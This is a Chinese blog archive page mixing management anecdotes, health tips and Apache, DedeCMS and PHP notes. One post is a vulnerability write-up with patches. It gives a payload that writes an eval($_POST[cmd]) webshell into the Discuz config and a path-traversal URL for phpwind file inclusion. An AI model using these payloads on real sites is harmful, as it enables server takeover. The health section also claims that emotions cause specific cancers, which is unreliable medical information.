第一页 上页 24 25 26 27 28 29 30 下页 最后页 [ 显示模式: 摘要 | 列表 ]

部门与部门之间要要很好的衔接,不是领导及领导之间的沟通而是团队最基础员工间的相互沟通

作为公司领导,我们可以决策战略但我们不能决定每件事情。

余世维与调色师的故事:这个红色好看吗?

亲爱的余副总:这个口红的颜色,现在还没有完全定案,定案以后我一定拿给你看。你有权决定用还是不用,所以现在不需要这么慌张。

亲爱的余副总:我是一个专业的调色师,我有我的眼光,你如果决定你调的比我好,下个礼拜开始你调。

亲爱的余副总:我这个口红是给女人擦的,听说你是个男人,如果你喜欢,女人都不喜欢 完了!如何女人都喜欢,你不喜欢 没有关系。

红色文字是作为管理层,常常爱讲的废话,公司员工应该发挥他们的思考性、自主性、合作性。若阻断了这种功能,让他们变成不自主、不思考、也不合作了!就是我们的领导废话太多!

最为有自主能力的部下,不会轻易的去敲领导的门!领导也不要随意的干涉部署的细节上工作!

相信你的团队!

 

1. 从小教育孩子不能惯!

舒缓压力,不要太忙、不要太闲……

增强体能--(修身养性)(体内革命)---

以下摘自《医药大典》怒伤肝、悲伤肺、喜伤心、恐伤肾、忧伤脾、

佛经上讲:怕死引起肺癌、对立引起乳癌、义务纠纷引起直肠癌、怀恨以前肝癌、心灵空虚引起骨癌、家庭失和引起胃癌。

修身养性:望云、穿海、抱树、借用宇宙的力舒缓自己的压力! 病由心生(吸烟)

体内革命:二十碳五稀酸、二十二碳六稀酸、对脑及其心脏 建议要多吃鱼类

抵抗压力及其抗癌的能力……

AQ ——命运我们无法改变,我们可以改变的是对待命运的态度

 

一个企业是靠文化铸造的、硬件设备相对虚幻,

一个人要耐活,身体要很好,尽管IQ 、 EO 、AQ 都很好,要从修身养性、体能革命、来打造身体!

在次基础,再强化你的其他技能。

让apache支持shtml 文件

[不指定 2010/09/03 00:33 | by 刘新修 ]

什么是SSI?
SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。

如何使你的Apache服务器支持SSI?

Apache默认是不支持SSI的,需要我们更改httpd.conf来进行配置。我这里以windows平台的Apache 2.0.x为例,打开conf目录下的httpd.conf文件,搜索“AddType text/html .shtml”,搜索结果:

Code:
        
  1. # AddType text/html .shtml
  2.     
  3. # AddOutputFilter INCLUDES .shtml

把这两行前面的#去掉。

C#代码
        
  1. 然后搜索“Options Indexes FollowSymLinks”
  2.     
  3. 在搜索到的那一行后面添加“ Includes”
  4.     
  5. 即将该行改变为 Options Indexes FollowSymLinks Includes

 

保存httpd.conf,重起apache即可。

到此我们就完成了对Apache SSI的设置。

Tags:

discuz和phpwind的漏洞

[不指定 2010/09/03 00:27 | by 刘新修 ]

多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。

一、discuz后台settings.inc.php中写shell漏洞:

PHP代码
        
  1. if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {   
  2.     
  3.          $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];   
  4.     
  5.          if($settingsnew['uc']['connect']) {   
  6.     
  7.              $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);   
  8.     
  9.              if(!$uc_dblink) {   
  10.     
  11.                  cpmsg('uc_database_connect_error''''error');   
  12.     
  13.              } else {   
  14.     
  15.                  mysql_close($uc_dblink);   
  16.     
  17.              }   
  18.     
  19.          }   
  20.     
  21.   
  22.     
  23.          $fp = fopen('./config.inc.php''r');   
  24.     
  25.          $configfile = fread($fpfilesize('./config.inc.php'));   
  26.     
  27.          $configfile = trim($configfile);   
  28.     
  29.          $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;   
  30.     
  31.          fclose($fp);   
  32.     
  33.   
  34.     
  35.          $connect = '';   
  36.     
  37.          if($settingsnew['uc']['connect']) {   
  38.     
  39.              require './config.inc.php';   
  40.     
  41.              $connect = 'mysql';   
  42.     
  43.              $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);   
  44.     
  45.              $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');   
  46.     
  47.              $configfile = insertconfig($configfile"/define\('UC_DBHOST',\s*'.*?'\);/i""define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com   
  48.     
  49.              $configfile = insertconfig($configfile"/define\('UC_DBUSER',\s*'.*?'\);/i""define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");   
  50.     
  51.              $configfile = insertconfig($configfile"/define\('UC_DBPW',\s*'.*?'\);/i""define('UC_DBPW', '".$ucdbpassnew."');");   
  52.     
  53.              $configfile = insertconfig($configfile"/define\('UC_DBNAME',\s*'.*?'\);/i""define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");   
  54.     
  55.              $configfile = insertconfig($configfile"/define\('UC_DBTABLEPRE',\s*'.*?'\);/i""define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");   
  56.     
  57.              //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");   
  58.     
  59.          }   
  60.     
  61.          $configfile = insertconfig($configfile"/define\('UC_CONNECT',\s*'.*?'\);/i""define('UC_CONNECT', '$connect');");   
  62.     
  63.          $configfile = insertconfig($configfile"/define\('UC_KEY',\s*'.*?'\);/i""define('UC_KEY', '".$settingsnew['uc']['key']."');");   
  64.     
  65.          $configfile = insertconfig($configfile"/define\('UC_API',\s*'.*?'\);/i""define('UC_API', '".$settingsnew['uc']['api']."');");   
  66.     
  67.          $configfile = insertconfig($configfile"/define\('UC_IP',\s*'.*?'\);/i""define('UC_IP', '".$settingsnew['uc']['ip']."');");   
  68.     
  69.          $configfile = insertconfig($configfile"/define\('UC_APPID',\s*'?.*?'?\);/i""define('UC_APPID', '".$settingsnew['uc']['appid']."');");   
  70.     
  71.   
  72.     
  73.          $fp = fopen('./config.inc.php', 'w');  
  74.     
  75.          if(!($fp = @fopen('./config.inc.php', 'w'))) {  
  76.     
  77.              cpmsg('uc_config_write_error', '', 'error');   
  78.     
  79.          }   
  80.     
  81.          @fwrite($fp, trim($configfile));   
  82.     
  83.          @fclose($fp);   
  84.     
  85.      }    
  86.     
  87.   

漏洞详情:

settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。

PHP代码
        
  1. function insertconfig($s$find$replace) {   
  2.     
  3. if(preg_match($find$s)) {   
  4.     
  5. $s = preg_replace($find$replace$s);//正则匹配替换数据   
  6.     
  7. else {   
  8.     
  9. $s .= "\r\n".$replace;   
  10.     
  11. }   
  12.     
  13. return $s;   
  14.     
  15. }   

漏洞测试:

步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。

临时补丁:

在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:

PHP代码
        
  1. foreach($settingsnew['uc'as $key => $value){   
  2.     
  3. $settingsnew['uc'][$key]=str_replace(')','',$value);   
  4.     
  5. }  

二、phpwind后台本地包含漏洞:

漏洞详情:

文件:hack\rate\admin.php
源码:

PHP代码
        
  1. <?php   
  2.     
  3. !function_exists('readover') && exit('Forbidden');   
  4.     
  5. define ( "H_R", R_P . "hack/rate/" );   
  6.     
  7. define ( "L_R", R_P . "lib/" );   
  8.     
  9. InitGP ( array ('ajax' ) );   
  10.     
  11. $action = strtolower ( ($job) ? $job : "admin" );   
  12.     
  13. $filepath = H_R . "action/" . $action . "Action.php";   
  14.     
  15.   
  16.     
  17. (! file_exists ( $filepath )) && exit ();   
  18.     
  19.   
  20.     
  21. if ($job != "ajax") {   
  22.     
  23.      require H_R . '/template/layout.php';   
  24.     
  25. else {   
  26.     
  27.      require_once $filepath;   
  28.     
  29. }   
  30.     
  31.   
  32.     
  33. ?>    
  34.     
  35.   

$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:

漏洞测试:

先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/

临时补丁:

PHP代码
        
  1. $filepath = H_R . "action/" . $action . "Action.php";  

替换为:

PHP代码
        
  1. $filepath = Pcv(H_R . "action/" . $action . "Action.php");  

 

Tags: ,

在DEDE中,这是调用论坛新帖的代码,那么如何实现调用如从第三开始到第十的帖子呢?在DEDE中有个limit"3,10"的条件项,在调用phpwind论坛要如何实现这个功能??

{dede:loop table='pw_threads' sort='tid' row='4' if='fid=10'}
<li> <a href="../read.php?tid=[field:tid/]">[field:subject function="cn_substr('@me',28)"/]
</a> </li>{/dede:loop}

注意一点:要pw_threads换成你的数据库名称,且要在同一个数据库里面。

{dede:loop table="pw_threads" sort="tid" row="17"}
<li>
<a href='/Forum/read-Server-tid-[field:tid /].html' target="_blank">
[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d','@me')" /])
</a></li>
{/dede:loop}

 

[5.3版] 用Loop解决首页调用自定义字段!

 

{dede:loop table="自定义字段所在的表名" sort='aid' row="显示的条数" if="typeid =栏目ID"}
[field:自定义的字段名 /]
{/dede:loop}

参考代码:
{dede:loop table="dede_addonarticle" sort='aid' row="10" if="typeid =1"}
[field:zdy /]
{/dede:loop}

比较简单的方法,个人认为比SQL好用。

 

把<a href='/phpwind/read.php?tid=[field:tid /]'> 里面的phpwind改成你的论坛目录
然后把
{dede:loop table="pw_threads" sort="tid" row="10"}
<a href='/phpwind/read.php?tid=[field:tid /]'>
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这段加入到你的模板里就可以了。

 

 

loop调用discuz大全

 
 
 

我想在首页调用特定栏目的精华帖,但是JS太慢,想生成HTML。


我现在是这样调最新帖的,请问怎么调某个板块的精华帖?

论坛最新主题:<br/>
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}



刚刚试了下,这样可以调特定板块的主题,现在就想问,怎么调精华主题?

论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}


再次发现,这样可以显示精华帖。

论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 AND digest>0 and displayorder!=-1 " sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}



这样又可以按查看次数排序:
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}

 

今天我告诉大家一些在织梦dedecms里面调用discuz论坛帖子的一些方法,这些方法都是好不容易从网上搜来的,这次一次奉献给大家啦。
  首先要注意的是下面的代码中都有table="cdb_threads"这句。这句不是适用所有网站的,这个地方cbd是你论坛的表前缀名称,大家根据自己的论坛修改成合适的表前缀名。再者,我是把织梦和discuz 论坛放在一个数据库里面的,才开始放在两个数据库,整合了半天不成功,不知道是什么原因。后面放在一个数据库里面成功了。但是没有在放到两个数据库里面做测试,大家也可以测试下,告诉我结果了。按道理来说不限制放进同一个数据库才合理些!最后m-d H:M 带表是发布的时间,如果只要(日-月)时间格式的,把 H:M去掉即可。

  1、论坛最新主题调用代码如下:

{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

这个连接地址你可以写相对路径,也可以写绝对路径。

  如果是discuz动态论坛,链接地址如http://bbs.xxx.com/viewthread.php?tid=[field:tid /]

  如果是discuz静态论坛,连接地址如http://bbs.xxx.com/thread-[field:tid /]-1-1.html

2、论坛指定版块帖子调用方法:

{ dede:loop table="cdb_threads" if="fid=1 or fid=2 and displayorder!=-1" sort="tid" row="6" }
<a href="/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',50)" /] </a>
<br/>
{ /dede:loop }

其中的fid=1 or fid=2是论坛主题分类id,可以按照自己要求来修改,如果是一个分类就直接写fid=x

3、论坛调精华主题调用代码如下:

{dede:loop table="cdb_threads" if="displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

如果想调用某个板块的精华主题代码如下:

{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

其中的fid=5是论坛主题分类id,可以按照自己要求来修改,

  如果想调用论坛所有的板块的最新精华主题只要去掉fid=5 and 就可以了。

  4、调用的帖子列表这可以按查看次数排序,代码如下:

{dede:loop table="cdb_threads" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中sort="views" 就是控制按照查看次数排序的代码

5、论坛置顶版块帖子调用方法举例:

{ dede:loop table="cdb_threads" sort="dateline" if="fid='3' and typeid='51'" row="10" }
<a href="/a/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',30)" /]</a> <br>
{ /dede:loop }

6、论坛版块名称调用方法:

{ dede:loop table="cdb_forums" sort="displayorder" row="16" col="4" }
<a href="/bbs/viewthread dot php?fid=[field:fid /]">·[field:name function="cn_substr(' @me',30)" /] </a>
{ /dede:loop }

注:这种方法这个还有点问题,它会将论坛分区、版块都调出来。望达人改进!

附:dedecms的LOOP 标记规则

  功能说明:用于调用任意表的数据,一般用于调用论坛贴子之类的操作

  适用范围:所有模板

  基本语法:

  { dede:loop table=' sort='' row='' if='' }

  [1] table 表示查询的数据表

  [2] sort 用于排序的字段 也可以加"views"(查看次数排列)

  [3] row 返回结果的条数

  [4] if 查询条件

7、调用论坛帖子中的图片方法,网上搜到的,我自己还没有做测试。

{dede:sql sql="SELECT`cdb_attachments`.`aid`,`cdb_attachments`.`attachment`,`cdb_threads`.`tid`, `cdb_threads`.`fid`,`cdb_threads`.`subject` FROM `cdb_attachments` LEFT JOIN `cdb_threads`

ON`cdb_threads`.`tid`=`cdb_attachments`.`tid` WHERE `cdb_attachments`.`readperm`='0' AND`displayorder`>='0' AND `filetype`='image/pjpeg' GROUP BY tid LIMIT 0,1 "}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
<img src="/bbs/attachments/[field:attachment/]" ALT="[field:subject/]" width="100" height="80" border="0" />
</A>
{/dede:sql}

 

 

Tags:

ucenter数据合并转换

[不指定 2010/09/02 22:52 | by 刘新修 ]

实现两个ucenter之间的数据合并。合并的时候发现目标ucenter已经存在帐号就不再导入。源数据库为gbk 目标数据库为utf-8

PHP代码
        
  1. <?php   
  2.     
  3. $old_link=mysql_connect("192.168.22.30","root",""or die("connect old db fail");   
  4.     
  5. mysql_select_db("gbk"$old_linkor die("select old db fail");   
  6.     
  7. mysql_query("SET NAMES 'GBK'",$old_link);   
  8.     
  9.   
  10.     
  11. $new_link=mysql_connect("192.168.79.42","root","root"or die("connect new db fail");   
  12.     
  13. mysql_select_db("beijing_bbs"$new_linkor die("select new db fail");   
  14.     
  15. mysql_query("SET NAMES 'UTF-8'",$new_link);   
  16.     
  17.   
  18.     
  19. $old_uc_dbname="hcdb_members";   
  20.     
  21. $new_uc_dbname="uc_members";   
  22.     
  23.   
  24.     
  25. $maxuid=file_get_contents("old2new.txt");   
  26.     
  27.   
  28.     
  29. $old_sql="select * from $old_uc_dbname where uid>$maxuid limit 1";   
  30.     
  31. $old_result=mysql_query($old_sql,$old_link);   
  32.     
  33. while($old_row=mysql_fetch_array($old_result)){   
  34.     
  35. $uid=$old_row["uid"];   
  36.     
  37. $username= iconv('GBK','UTF-8',$old_row["username"]);   
  38.     
  39. $password=$old_row["password"];   
  40.     
  41. $email=$old_row["email"];   
  42.     
  43. $myid=$old_row["myid"];   
  44.     
  45. $myidkey=$old_row["myidkey"];   
  46.     
  47. $regip=$old_row["regip"];   
  48.     
  49. $regdate=$old_row["regdate"];   
  50.     
  51. $lastloginip=$old_row["lastloginip"];   
  52.     
  53. $lastlogintime=$old_row["lastlogintime"];   
  54.     
  55. $salt=$old_row["salt"];   
  56.     
  57. $secques=$old_row["secques"];   
  58.     
  59. $sql="select uid from $new_uc_dbname where username='$username'";   
  60.     
  61. mysql_query($sql,$new_link);   
  62.     
  63. $num=mysql_affected_rows($new_link);   
  64.     
  65. echo $num.$username."<br>";   
  66.     
  67. if($num==0){   
  68.     
  69. $sql="insert into $new_uc_dbname(username,password,email,myid,myidkey,regip,regdate,lastloginip,lastlogintime,salt,secques) values('$username','$password','$email','$myid','$myidkey','$regip','$regdate','$lastloginip','$lastlogintime','$salt','$secques')";   
  70.     
  71. echo "$sql";   
  72.     
  73. mysql_query($sql,$new_link);   
  74.     
  75. echo "${username}插入成功<br>";   
  76.     
  77. }else  
  78.     
  79. {   
  80.     
  81. echo "${username}已经存在<br>\n";   
  82.     
  83. }   
  84.     
  85. file_put_contents("old2new.txt",$uid);   
  86.     
  87. }   
  88.     
  89. ?>   

 

Tags:

取得文件扩展名方法

[不指定 2010/09/02 22:31 | by 刘新修 ]

变量 $file_name 可以来自上传域或者指定为其他

PHP代码
        
  1. <?//方法一:    
  2.     
  3. function extend($file_name)    
  4.     
  5. {    
  6.     
  7. $retval="";    
  8.     
  9. $pt=strrpos($file_name".");    
  10.     
  11. if ($pt$retval=substr($file_name$pt+1, strlen($file_name) - $pt);    
  12.     
  13. return ($retval);    
  14.     
  15. }    
  16.     
  17.   
  18.     
  19. //方法二(PHP4.03及更高版本)    
  20.     
  21. $extend = pathinfo($file_name);    
  22.     
  23. $extend = strtolower($extend["extension"]);    
  24.     
  25. echo $extend;    
  26.     
  27. ?>   

 

Tags:

apache 压缩页面配置

[不指定 2010/09/02 22:15 | by 刘新修 ]

apache版本2.2
自带mod_deflate.so和mod_headers.so
如果没有这两个模块,那么你就需要手工编译并load这两个模块。
我是在虚拟主机下加入一下配置即可

Code:
        
  1. <Location "/">   
  2.     
  3. SetOutputFilter DEFLATE   
  4.     
  5. BrowserMatch ^Mozilla/4 gzip-only-text/html   
  6.     
  7. BrowserMatch ^Mozilla/4\.0[678] no-gzip   
  8.     
  9. BrowserMatch \bMSIE !no-gzip !gzip-only-text/html   
  10.     
  11. SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png)$ no-gzip dont-vary   
  12.     
  13. Header append Vary User-Agent env=!dont-vary   
  14.     
  15. </Location>  

住,以上配置,需要放到<Directory></Directory>之后,apache官方网站这么说的:)

Apache的基本设置主要交由httpd.conf来设定管理,我们要修改Apache的相关设定,主要还是通过修改httpd.cong来实现。下面让我们来看看httpd.conf的内容,它主要分成3大部分:
Section 1:Global Environment
Section 2:'Main' server configuration
Section 3:Virtual Hosts

【第一部分】

·ServerType standalone
这表示Apache是以standalone启动,也可以是inetd。所谓standalone是指启动一次来接听所有的连线;而inetd是接到http的连线要求才启动,随着连线的结束而结束,这样负担是不是很但呢?所以一般都是以standalone启动。
·ServerRoot "/usr/local/httpd"
此为apache的目录
·#LocdFile /use/local/httpd/logs/httpd.lock
保留预设值,不更动
·PidFile /usr/local/httpd/logs/httpd.pid
此文件记录着apache的父处理程序id
·ScoreBoardFile /usr/local/httpd/logs/httpd.scoreboard
此文件存储处理程序的信息
·#ResourceConfig conf/srm.conf
·#AccessConfig conf/access.conf
由于我们统筹由httpd.conf来管理,所以这两个文件预设是注解起来的,可以保留预设值不更动
·Timeout 300
设盯超时的时间。如果用户端超过300秒还没连上server,或server超过300秒还没传送信息给用户端,即断线。
·KeepAlive On
允许用户端的连线有多个请求,设为Off表示不允许
·MaxKeepAliveRequests 100
每次连线最大的请求树木,数字愈大,效能愈好。0表示不限制
·MinSpareServer 5
·MaxSpareServers 10
MinSpareServer 5表示最少会有5个闲置的处理程序,如果实际的数目少于此数目,则会增加处理程序。MaxSpareServers 10表示最大的闲置处理程序数目,如果你的网站需求量很大,可以将此数目设大一些,大不要随便将此数目设得太大。
·StartServers 5
启动时Server的数目
MaxClients 150
限制同时间最大的连线数目,当然不能设得太小,一旦达到此数目,就无法再增加用户端
·MaxRequestPerChild 0
限制子处理程序结果前的要求数目,0表示不限制
·#Listen 3000
·#Listen 12.34.56.78:80
使用其它的连接端口或IP
·BindAddress *
可以接听*(所有IP地址)、指定的IP地址或是完整的域名
·#LoadModule foo_module libexec/mod_foo.so
使用DSO模块
·#ExtendedStatus On
可检阅apache的状态信息,预设是Off(注解起来)

【第二部分】

如果之前的ServerType是inetd,请直接跳到ServerAdmin。
·Port 80
Standalone服务器接听的连接端口,当然也可以是其他小于1023的端口号
·User nobody
·Group nobody
执行httpd的用户和群组
·ServerAdmin 管理员的电子邮件地址
这是管理员的电子邮件地址,如果apache有问题的话,会寄信通知管理员,当然你也可以建立一个专门负责web的帐号来收信
·ServerName 你的主机名称
此为主机名称,如果没有域名,也可以用IP
·DocumentRoot "usr/local/httpd/htdocs"
此目录为apache放置网页的地方,里面的index.html即为连到此主机的预设首页
·
  Options FollowSymLinks
  AllowOverride none
 
此目录设定用户放置网页的目录(public_html)的执行动作。详细的目录存取方法会在后面说明
·
  Options Indexes FolloeSymLinks
  AllowOverride None
  Order allow,deny
  Allow from all
 
此目录设定apache的网页目录(htdocs)的执行动作
·UserDir public_html
用户可在自己的目录下建立public_html目录来放置网页,输入http://主机地址/~用户名称即可连接到...劳撤胖玫牡胤?/a>
·DirectoryIndex index.html
这里设定预设主页的名称
·AccessFileName .htaccess
这个是控制存取的文件名称,一般采用预设的.htaccess名称,后面会说明htaccess的使用方法
·
  Order allow,deny
  Deny from all
 
这用来防止其他人看到.ht开头的文件内容,不仅是保护.htaccess的内容,还保护.htpasswd的内容。当然也可以直接写成。如果你有更改AccessFilename,例如将.htaccess改成.accessht,请记得也要在此做相关的更改,如此才能防止其他人看到哦
·#CacheNegotiatedDocs
注解起来是告诉Proxy不要将互动产生的文件存入cache,如果拿掉#,则会存在cache中
·UseCanonicalName On
使用标准的名称,预设是On。假设有一个web server的全名是www.sample.com,一般称为www;如果us...羑ttp://www/abc
·TypeConfig /usr/local/httpd/conf/mime.types
指定存放MIME文件类型的文件。你可以自行编辑mime.types文件。
·DefaultType text/plain
当server不认得此文件类型时的预设格式,此设定是当成一般文字
·
  MIMEMagicFile /usr/local/httpd/conf/magic
 
mod_mime_magic模块可使server由文件内容决定其MIME类型。如果有载入mod_mime_magic模块,才会处理MIMEMagicFile这一段。如果是…,则表示如果没有载入该模块,才会处理这一段
·HostLookups Off
如果为On,则每次都会向name server解析该IP,记录此连线的名称(例如www.apache.org)自换岷牟簧偈奔洌...为Off,仅记录IP
·ErrorLog /usr/local/httpd/logs/error_log
指定发生错误的记录文件(error_log)位置。如果在没有指定发生错误的记录文件,则会沿用此文件
·LogLevel warn
记录分成很多等级,在此是warn。各等级如下: 等级 说明
debug debug信息
info 普通信息
notice 重要信息
warn 警告信息
error 发生错误
crit 紧急情况
alert 马上要处理的情况
amerg 系统快要死了
·LogFormat "%h %l %u %t\"%r\"%>s %b\"{Referer}i\"\"${UserAgent}i\""combined
 LogFormat "%h %l %u %t"%r\"%>s %b"commom
 LogFormat "%{Referer}i->%U"referer
 LogFormat "%{User-agent}i"agent
自定四种记录格式:combined、common、referer、agent
·CustomLog /usr/local/httpd/logs/access_log common
存取的记录文件(access_log)使用自定的common格式
·#CustomLog /usr/local/httpd/logs/referer_log referer
 #CustomLog /usr/local/httpd/logs/agent_log agent
 #CustomLog /usr/local/httpd/logs/agent_log combined
这三个记录文件也是使用自定义格式(分别是referer、agent、combined),不过注解起来表示未使用这三个文件
·ServerSignature On
设为On时,在server所产生的网页(像是错误发生时)上,会有apache的版本、主机、连接端口的一行信息;如果设为Email,则会有mailto:给管理员的超链接
·Alias /icons/ "/usr/local/httpd/icons/"
使用较短的别名,其格式为:Alias 别名 原名。
·ScriptAlias /cgi-bin/ "/usr/local/httpd/cgi-bin/"
和Alias一样,只是这是设定server script的目录
·IndexOptions FancyIndexing
显示好看的文件清单(配合下面各文件所对应的图形)
·AddIconByEncoding(CMP,/icons/compressed.gif)x-conpress x-gzip
·AddIcon /icons/blank.gif^^BLANKICON^^DefaultIcon/icons/unknow.gif
这些是在显示文件清单(之前所说的FancyIndex)时,各种文件类型的对应图形。例如.ps .si .eps这三种文件的表示图形都是a.gif
·#AddDescription "GZIP conpressed document" .gz
 #AddDescription "tar archive" .tar
 #AddDescription "GZIP compressed tar archive" .tgz
这些是在显示文件清单时,在文件后面附上说明,其格式为:
AddDescription "说明" 文件名
例如:AddDescription "It is private txt" my.txt
·ReadmeName README
显示文件清单时,在最下面显示README的文件内容
设置CGI脚本/将httpd.conf做为唯一的配置文件/用户授权和访问控制等
关于Apache的配置及使用,在LinuxAid中已经有不少文章做了详细的阐述,本文讨论了在使用Apache时,有关配置文件的使用及对文件的访问控制等内容,算是对Apache的使用所做的一些补充吧!

如果您对Apache有一定的了解,特别是对几个配置文件有一定的了解,这将会有助于您对本文内容的理解;如果恰巧您不是很了解这几个配置文件的使用,那么就借着这个机会来一起熟悉一下吧。
一、关于CGI执行脚本的配置
这里有两种设置CGI脚本的方法。第一、CGI的脚本文件以.cgi为扩展名;第二、设置脚本可执行目录。但是这两种方法都需要将要执行的文件设置为711,才可以被执行。
第一种方法,我们需要在access.conf文件种将你要发行的目录设置为Option ExecCGI All,在srm.conf资源配置文件中,加上下列一句:
AddHandle cgi-script .cgi
这样在所有的目录种只要你的文件是.cgi为扩展名的,且文件访问权限为711的,无论给文件在你发行目录的任何一个地方都可以做为CGI被Apache服务器调用。这种方法一般没有第二种方法安全。
第二种方法,是将一个目录作为一个可执行目录,将所有的cgi文件都放在其中,这里就不一定非得是以.cgi为扩展名得文件可以执行,而是只要有711属性的文件就可以被执行,而且其它的非可执行文件都被禁止访问。我们的默认配置文件种就有一个很好的例子:
access.conf:
<Directory /home/httpd/cgi-bin/>
Allow Override None
Options ExecCGI
</Directory>
srm.conf
ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/
这样只要在/home/httpd/cgi-bin/目录中的可执行文件都可以被Web服务器调用,而其它的非可执行文件将被拒绝访问。
二、配置用户的发行目录
这里有两种设置方法:
第一种是系统的默认方法,即用户目录下的public_html目录为用户的发行目录,且默认的主页文件为index.html,且该目录不支持CGI。
第二种是在其它目录种专门为用户设置发布目录,如我想在/home/html目录做为用户的web目录,那管理员就应该在该目录下为每一个用户设置一个子目录,如:/home/html/user01、/home/html/user02等。那么,你的srm.conf文件中的UserDir后面就不能再是public_html了,应该改为:UserDir /home/html/*/,注意这里的“*”代表anyone,当你再浏览器中请求一个如http://www.domain/~user01时,Apache...ndex.html文件。
这种设置不需要到access.conf中设置该目录的访问属性,还有,当我们设置虚拟主机时也不用设置目录的访问属性,但是如果你想让某个目录具有CGI权限,都要到Access.conf文件中去配置目录的访问权限,如:你想让你的所有用户在他们的发布目录中具有CGI访问权,则需要在你的access.conf中这样设置:
<Directory /home/html/*/cgi-bin/>
Allow Override None
Options ExecCGI
</Dirctory>
注意这里设置用户目录中的cgi-bin子目录为cgi执行目录,这是一种安全的设置,而且也是一种UNIX的习惯。
三、如何将Apache服务器设置为inetd的子服务
当你安装了Apache后,默认设置为standalone方式运行,如果你想将它设置为inetd的子服务,首先在每次激活Linux时不激活httpd,然后编辑/etc/inetd.conf,在其中加入下列语句:http stream tcp nowait root /usr/sbin/httpd httpd
然后重新激活inetd服务器。这样你用ps -aux命令查看进程运行情况时,你不会发现httpd的进程的存在,但是一旦有客户请求一个页面时,inetd就激活一个httpd进程为该请求服务,之后就自动释放,这种运行方式有助于节省系统资源,但是如果你的web服务很重要,一般不建议设置为这种方式运行。
四、将httpd.conf做为唯一的配置文件
